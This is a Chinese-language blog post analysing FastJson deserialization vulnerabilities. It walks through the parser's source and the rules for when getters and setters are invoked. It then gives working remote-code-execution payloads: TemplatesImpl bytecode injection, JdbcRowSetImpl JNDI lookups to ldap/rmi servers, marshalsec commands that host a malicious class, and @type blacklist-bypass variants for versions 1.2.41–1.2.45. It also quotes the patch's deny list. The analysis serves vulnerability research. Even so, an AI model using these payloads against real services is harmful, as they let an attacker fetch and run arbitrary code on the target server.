FastJson 漏洞分析

断断续续看过好几次,还是需要总结归纳一次才能方便下次查阅,不然总是零散信息。

fastjson整个历程:
1、fastjson <= 1.2.24
2、fastjson <= 1.2.45,期间大多数为黑名单绕过

有利于waf绕过的特性:

  • 支持json注释: /**/
  • class类名会把$替换为.

基础分析

分析版本为1.2.24,首先对字符串进行json解析。

String jsonStr = "{\n" +
    "    \"@type\" : \"demo.User\",\n" +
    "    \"name\" : \"test\",\n" +
    "    \"age\" : 18,\n" +
    "    \"prop\" : {\"first\" : 111},\n" +
    "    \"grade\" : \"test\"\n" +
    "}";
//User user = JSON.parseObject(jsonStr, User.class, Feature.SupportNonPublicField);
User user = JSON.parseObject(jsonStr, User.class);
System.out.println(user);

最终运行结果如下:

在parseObject处下断点。

先跟到DefaultJSONParser,可以看到JSONScanner(input, features)是进入了字符串解析中。

public DefaultJSONParser(String input, ParserConfig config, int features){
    this(input, new JSONScanner(input, features), config);
}

这里应该是做了一个准备,把解析规则等都放到parser中,然后到T value = parser.parseObject(clazz, (Object)null);就正式开始解析object,之前代码中是JSON.parseObject(jsonStr, User.class),所以这里的clazz也就是User.class,指定类的进行解析。

当字符串解析遇到@type的时候,就会尝试去获取其对于的json值,也就是想要反序列化的类名称。

继续跟入,可以注意到当我们反序列化的构造函数是没有参数的时候,便会直接进行newInstance实例化,即会调用构造函数。

/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:119

之后对成员信息进行反序列化的时候,先是 createJavaBeanDeserializer 生成,

再进入JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);进行javabean信息生成,这里是对反序列化的类中所有方法进行处理,比如包括对hashcode()的判断,如果其中成员,比如age,存在setter类函数,便会进行调用。

可以看到在调用setAge方法时候,会经过一些判断,methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))

这里注意到对成员名做了一些处理,大致就是_f做了一些截取处理。

与setter相比,getter条件限制更多:
/com/alibaba/fastjson/util/JavaBeanInfo.class:462

methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

最后就是通过反射调用了getter函数: /com/alibaba/fastjson/parser/deserializer/FieldDeserializer.class:56

总结:
1、存在newInstance()实例化,会调用无参数的构造函数;存在Class.forName()的,会进行类初始化,即会运行静态块的代码。
2、private成员,默认通过匹配get/set方法来反序列化,匹配不到则无法反序列化类成员变量
3、public成员,默认通过匹配get/set方法来反序列化,匹配不到则直接匹配类成员名;再匹配不到则无法反序列化类成员变量。
4、对成员名做一些处理,比如去掉_、忽略大小写
5、getter函数

  • 函数名长度大于4
  • 非静态函数
  • 函数名以get起始,且第四个字符为大写字符
  • 函数没有参数
  • 函数返回满足以下之一
    • 继承Collection
    • 继承Map
    • AtomicBoolean
    • AtomicInteger
    • AtomicLong

6、setter函数

  • 函数名长度大于4
  • 非静态函数
  • 返回为void或者方法本身类型

所以想找exp链可以使用这样寻找两个方面:

  • getter、setter方法: (\w)+(\s){1,20}(set(\w)+\(|get(\w)+\(\))
  • 无参数的构造函数、静态块

对于一开始的例子,Properties getProp能够调用成功,而String getGrade调用失败,是因为Properties继承关系如下,Properties -> Hashtable -> Map。

另外就是JSON.parseObject(jsonStr, User.class)中的第二个参数class,如果json字符串中@type的类之间存在继承或者转换关系即可,当然不存在也可以,最后会报错,但是getter、setter还是在之前就调用了。不过也存在还没调用就报错了,比如ASMUtils.class

fastjson里面还内置了许多类判断,可以不用考虑目标类型,直接使用JSON.parse()即可。

1.2.24前

TemplatesImpl

限制: 1.2.22 - 1.2.24版本

主要利用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Exp如下:

String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
        "\",\"_bytecodes\":[\""+evilCode+"\"]," +
        "'_name':'a.b'," +
        "'_tfactory':{ }," +
        "\"_outputProperties\":{ }}\n";

整个利用链如下:
getOutputProperties -> newTransformer -> getTransletInstance -> ... -> newInstance() -> ... -> exec command

不过此poc限制很大,在于private bytecode没有public setter、getter函数,所以需要开启Feature.SupportNonPublicField,版本限制在1.2.22 - 1.2.24之间,另外parseObject的第二个class定义不能有冲突。

JdbcRowSetImpl

限制: < 1.2.24 版本

这是com.sun.rowset.JdbcRowSetImpl类,可以基于rmi、ldap来打,也是结合dnslog可以进行批量检测,

Exp:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}

利用链:
setAutoCommit -> connect -> InitialContext().look()

Rmi还有Java版本问题,Ldap是比较稳:
利用工具: https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8082/#Evil 1520

python -m SimpleHTTPServer 8082

最终ldap地址: ldap://127.0.0.1:1520/Evil
整个流程便是 ldap -> http -> evil.class

ClassLoader

TODO

{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"xxxxxxxxxx"}}:"ddd"}

补丁情况

通过diff 1.2.25 - 1.2.24
1、增加了autoTypeSupport限制,如果没有开启,将无法进行反序列化到其他类,除非是自己设置白名单的类或者fastjson中一个Mapping列表中的类。

2、增加黑名单
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

之后的攻击大部分就是在寻找新的利用类 以及 根据特性绕过黑名单类。

1.2.24后

断点下在checkAutoType处

特性绕过

L是引用类型
[;是数组形式

//1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

//1.2.42
{"@type":"LLu0063u006fu006d.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

//1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true]}

JndiDataSourceFactory

限制: 1.2.45 以前,需要ibatis包
新类绕过: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

比较直接,setProperties中的data_source直接进入lookup。

无需autoType

TODO

参考链接

fastjson 远程反序列化poc的构造和分析

fastjson反序列化PoC汇总

Fastjson 1.2.24反序列化漏洞分析

fastjson-remote-code-execute-poc

posted @ 2019-07-04 16:23  l3m0n  阅读(86)  评论(0编辑  收藏  举报